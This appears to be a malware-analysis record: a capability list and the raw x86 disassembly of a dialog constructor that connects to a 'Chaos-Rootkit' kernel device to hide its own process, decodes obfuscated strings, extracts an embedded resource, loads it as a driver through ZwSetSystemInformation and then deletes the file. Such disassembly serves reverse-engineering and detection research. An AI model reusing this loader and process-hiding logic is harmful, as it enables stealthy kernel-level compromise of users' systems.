Function at 0x592610
Capabilities:
Contain obfuscated stackstrings
Delete file
Extract resource via kernel32 functions
Get common file path
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5abb89
mov eax, dword fs:[0]
push eax
mov eax, 0x12bc
call fcn.0055d410
mov eax, dword [0x61de38]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x18], edi
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push eax
push ecx
mov ecx, edi
mov dword [ebp - 0x12c8], edi
call fcn.004273bc
mov dword [ebp - 4], 0
lea ecx, [edi + 0xa8]
mov dword [edi], vtable.CMatrixDlg.0
call fcn.00588080
push 0
lea eax, [edi + 0x12410]
mov dword [edi + 0x123ec], 0x5fc268
push eax
mov dword [edi + 0x1240c], 0x5fc260
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
mov dword [edi + 0x123f0], 0xffffffff
mov dword [edi + 0x123f8], 0
mov dword [edi + 0x123f4], 0
mov dword [edi + 0x123fc], 0
mov dword [edi + 0x12430], 0
mov dword [edi + 0x1242c], 0x5b081c
lea ecx, [edi + 0x12434]
mov byte [ebp - 4], 3
call fcn.0058d410
mov byte [ebp - 4], 4
lea ecx, [edi + 0x124bc]
mov dword [edi + 0x124b4], 0
mov dword [edi + 0x124b8], 0
call fcn.00416b10
lea esi, [edi + 0x125b8]
mov byte [ebp - 4], 5
mov ecx, esi
mov dword [ebp - 0x18], esi
call fcn.0041bfb1
mov dword [esi], vtable.CEdit.0
lea esi, [edi + 0x12638]
mov byte [ebp - 4], 6
mov ecx, esi
mov dword [ebp - 0x18], esi
call fcn.0041bfb1
mov dword [esi], vtable.CEdit.0
lea esi, [edi + 0x126b8]
mov byte [ebp - 4], 7
mov ecx, esi
mov dword [ebp - 0x18], esi
call fcn.0041bfb1
mov dword [esi], vtable.CButton.0
mov dword [edi + 0x1273c], 0
mov dword [edi + 0x12738], 0x5b081c
lea ecx, [edi + 0x12740]
mov byte [ebp - 4], 9
call fcn.00406d60
lea ecx, [edi + 0x127e0]
mov byte [ebp - 4], 0xa
call fcn.00406d60
lea esi, [edi + 0x12880]
mov byte [ebp - 4], 0xb
mov ecx, esi
mov dword [ebp - 0x18], esi
call fcn.0041bfb1
lea eax, [esi + 0x88]
mov dword [esi], vtable.CLinkedCheckBtn.0
mov dword [esi + 0x84], 0
mov dword [eax], 0
mov dword [esi + 0x8c], eax
mov dword [esi + 0x80], 0
lea esi, [edi + 0x12910]
mov byte [ebp - 4], 0xc
mov ecx, esi
mov dword [ebp - 0x18], esi
call fcn.0041bfb1
lea eax, [esi + 0x88]
mov dword [esi], vtable.CLinkedCheckBtn.0
mov dword [esi + 0x84], 0
mov dword [eax], 0
mov dword [esi + 0x8c], eax
mov dword [esi + 0x80], 0
lea esi, [edi + 0x129a0]
mov byte [ebp - 4], 0xd
mov ecx, esi
mov dword [ebp - 0x18], esi
call fcn.0041bfb1
lea eax, [esi + 0x88]
mov dword [esi], vtable.CLinkedCheckBtn.0
mov dword [esi + 0x84], 0
mov dword [eax], 0
mov dword [esi + 0x8c], eax
mov dword [esi + 0x80], 0
lea esi, [edi + 0x12a38]
mov byte [ebp - 4], 0xe
mov ecx, esi
mov dword [ebp - 0x18], esi
call fcn.0041bfb1
mov dword [esi], vtable.CEdit.0
lea esi, [edi + 0x12ab8]
mov byte [ebp - 4], 0xf
mov ecx, esi
mov dword [ebp - 0x18], esi
call fcn.0041bfb1
mov dword [esi], vtable.CEdit.0
lea ecx, [edi + 0x12b38]
mov byte [ebp - 4], 0x10
call fcn.00585ef0
lea esi, [edi + 0x12bd8]
mov byte [ebp - 4], 0x11
mov ecx, esi
mov dword [ebp - 0x18], esi
call fcn.0041bfb1
mov dword [esi], vtable.CComboBox.0
mov dword [edi + 0x12c58], 0
mov dword [edi + 0x12c5c], 0
mov dword [edi + 0x12c60], 0
mov dword [edi + 0x12c68], 0
mov dword [edi + 0x12c64], 0x5b081c
lea esi, [edi + 0x12c70]
mov byte [ebp - 4], 0x13
mov ecx, esi
mov dword [ebp - 0x18], esi
call fcn.0041bfb1
mov dword [esi], vtable.CListBox.0
lea esi, [edi + 0x12cf8]
mov byte [ebp - 4], 0x14
mov ecx, esi
mov dword [edi + 0x12cf0], 0
mov dword [ebp - 0x18], esi
call fcn.0041bfb1
mov dword [esi], vtable.CButton.0
lea eax, [ebp - 0x12c4]
mov byte [ebp - 4], 0x15
push eax
push str.Chaos_Rootkit.sys
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x592948
push 0
lea eax, [ebp - 0x16c]
push eax
push 0x104
lea eax, [ebp - 0x1298]
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
lea ecx, [ebp - 0x16c]
call fcn.00592460
push 0
push 0
push 3
push 0
push 2
push 0x40000000
push str..KDChaos
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x5929ad
push str.unable_to_connect_to_rootkit_INVALID_HANDLE_VALUE_n
call fcn.00406cd0
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0
lea ecx, [ebp - 0x20]
push ecx
push 0x400
push eax
push 0
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x5929ec
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0
push 0
push 4
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x18]
push eax
push 4
lea eax, [ebp - 0x20]
push eax
push 0x220114
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x5929dc
cmp dword [ebp - 0x18], 0
je 0x5929ec
push 0
push 0
push str.failed_hidden_process
mov ecx, edi
call fcn.0041ebfc
mov esi, dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
lea eax, [ebp - 0x18]
push eax
mov dword [ebp - 0x18], 0x4c545b69
mov byte [ebp - 0x14], 0
call esi
mov word [edi + 0x123cc], ax
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x3d52656a
mov byte [ebp - 0x1c], 0
call esi
mov word [edi + 0x123ce], ax
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 0x28], 0x39564d5a
mov byte [ebp - 0x24], 0
call esi
mov word [edi + 0x123d0], ax
lea eax, [ebp - 0x30]
push eax
mov dword [ebp - 0x30], 0x9121d57
mov byte [ebp - 0x2c], 0
call esi
mov word [edi + 0x123d2], ax
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x38], 0x9121d58
mov byte [ebp - 0x34], 0
call esi
mov word [edi + 0x123d4], ax
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x38], 0x9121d59
mov byte [ebp - 0x34], 0
call esi
mov word [edi + 0x123d6], ax
lea eax, [ebp - 0x30]
push eax
mov dword [ebp - 0x30], 0x9131d5a
mov byte [ebp - 0x2c], 0
call esi
mov word [edi + 0x123d8], ax
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 0x28], 0x9131d5b
mov byte [ebp - 0x24], 0
call esi
mov word [edi + 0x123da], ax
lea eax, [ebp - 0x18]
push eax
mov dword [ebp - 0x18], 0xb4e4d6c
mov byte [ebp - 0x14], 0
call esi
mov word [edi + 0x123dc], ax
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0xb58626c
mov byte [ebp - 0x1c], 0
call esi
mov word [edi + 0x123de], ax
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x38], 0x9131d5c
mov byte [ebp - 0x34], 0
call esi
mov word [edi + 0x123e0], ax
lea eax, [ebp - 0x30]
push eax
mov dword [ebp - 0x30], 0x8121d5d
mov byte [ebp - 0x2c], 0
call esi
mov word [edi + 0x123e2], ax
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 0x28], 0x9131c5e
mov byte [ebp - 0x24], 0
call esi
mov word [edi + 0x123e4], ax
mov dword [ebp - 0x18], 0x9131d5f
mov byte [ebp - 0x14], 0
lea eax, [ebp - 0x18]
push eax
call esi
mov word [edi + 0x123e6], ax
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x9121d60
mov byte [ebp - 0x1c], 0
call esi
mov word [edi + 0x123e8], ax
call fcn.0042cbc9
call fcn.0042cbc9
push 0x80
mov eax, dword [eax + 0xc]
push eax
call dword [sym.imp.USER32.dll_LoadIconW]
lea ecx, [ebp - 0x77c]
mov dword [edi + 0x125b0], eax
call fcn.00406ef0
call fcn.0041a5c0
call fcn.0041a7d0
test eax, eax
jne 0x592d34
mov byte [ebp - 0x5f], al
lea esi, [eax + 9]
mov dl, 0xa
xor ecx, ecx
mov al, byte [ecx + 0x5ebdf8]
lea ecx, [ecx - 1]
add dl, 0xa
add al, dl
mov byte [ebp + ecx - 0x5f], al
sub esi, 1
jne 0x592ba0
mov ebx, dword [sym.imp.KERNEL32.dll_FindResourceA]
lea eax, [ebp - 0x68]
push 0x5ebdfc
push eax
push esi
call ebx
mov esi, eax
test esi, esi
je 0x592ce9
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x592ce9
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push dword [ebp - 0x18]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
je 0x592ce9
mov edx, esi
mov ecx, eax
call fcn.00410cc0
test al, al
je 0x592ce9
push 0x208
lea eax, [ebp - 0x984]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x984]
push eax
lea eax, [ebp - 0xb8c]
push str.___sMSTX
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add esp, 0xc
push str.RtlInitUnicodeString
push str.ntdll.dll
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x6279a4], eax
test eax, eax
je 0x592cae
push str.ZwSetSystemInformation
push str.ntdll.dll
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x62789c], eax
test eax, eax
je 0x592cae
lea eax, [ebp - 0xb8c]
push eax
lea eax, [ebp - 0x38]
push eax
call dword [0x6279a4]
push 8
lea eax, [ebp - 0x38]
push eax
push 0x26
call dword [0x62789c]
test eax, eax
jns 0x592da3
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x104
lea eax, [ebp - 0x478]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x478]
push eax
lea eax, [ebp - 0x57c]
push str._sMSTX
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x57c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor esi, esi
push 0x30
lea eax, [ebp - 0x68]
push 0
push eax
call fcn.0055ed60
add esp, 0xc
test esi, esi
jne 0x592d34
push 0x5ebe18
push 0x5ebe04
push esi
call ebx
test eax, eax
je 0x592d1b
mov ecx, eax
call fcn.00410b30
test eax, eax
jne 0x592d34
push str.BINARY
push str.IDR_BINARY3
push 0
call ebx
test eax, eax
je 0x592d34
mov ecx, eax
call fcn.00410b30
lea ecx, [ebp - 0x77c]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x592d40
sub ecx, edx
lea eax, [ecx + ecx]
push eax
lea eax, [ebp - 0x1184]
push eax
push ecx
lea eax, [ebp - 0x77c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor ecx, ecx
lea edx, [ebp - 0x1184]
sub esp, 8
mov word [ebp + eax*2 - 0x1184], cx
mov ecx, 0x11111fff
call fcn.0041a700
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0055c6fa
mov esp, ebp
pop ebp
ret 8
push 0x104
lea eax, [ebp - 0x270]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x270]
push eax
lea eax, [ebp - 0x374]
push str._sMSTX
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x374]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, 1
jmp 0x592ceb